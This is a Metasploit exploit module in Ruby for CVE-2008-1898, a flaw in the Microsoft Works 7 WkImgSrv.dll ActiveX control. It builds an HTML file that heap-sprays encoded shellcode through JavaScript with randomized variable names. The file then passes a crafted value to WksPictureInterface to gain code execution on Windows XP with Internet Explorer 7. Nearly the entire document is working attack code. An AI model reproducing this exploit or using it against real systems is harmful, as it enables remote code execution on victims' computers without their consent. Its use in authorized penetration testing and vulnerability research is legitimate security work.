The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker to execute arbitrary code on a system. By passing a negative integer to the WksPictureInterface method, an attacker could execute arbitrary code on the system with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6. This control is not marked safe for scripting, please choose your attack vector carefully.
9a991cc774ea8365c09b757a0db44dc7d220f5ff12d2c4e2d6b2f55910442ad2###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Exploit',
'Description' => %q{
The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker
to execute arbitrary code on a system. By passing a negative integer to the
WksPictureInterface method, an attacker could execute arbitrary code on the system
with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.
This control is not marked safe for scripting, please choose your attack vector carefully.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision',
'References' =>
[
[ 'CVE','2008-1898' ],
[ 'OSVDB', '44458'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Nov 28 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(10) + 1)
var_i = rand_text_alpha(rand(10) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6'></object>
<body>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
#{vname}.WksPictureInterface = 168430090;
</script>
</body>
</html>
|
print_status("Creating HTML file ...")
file_create(content)
end
end
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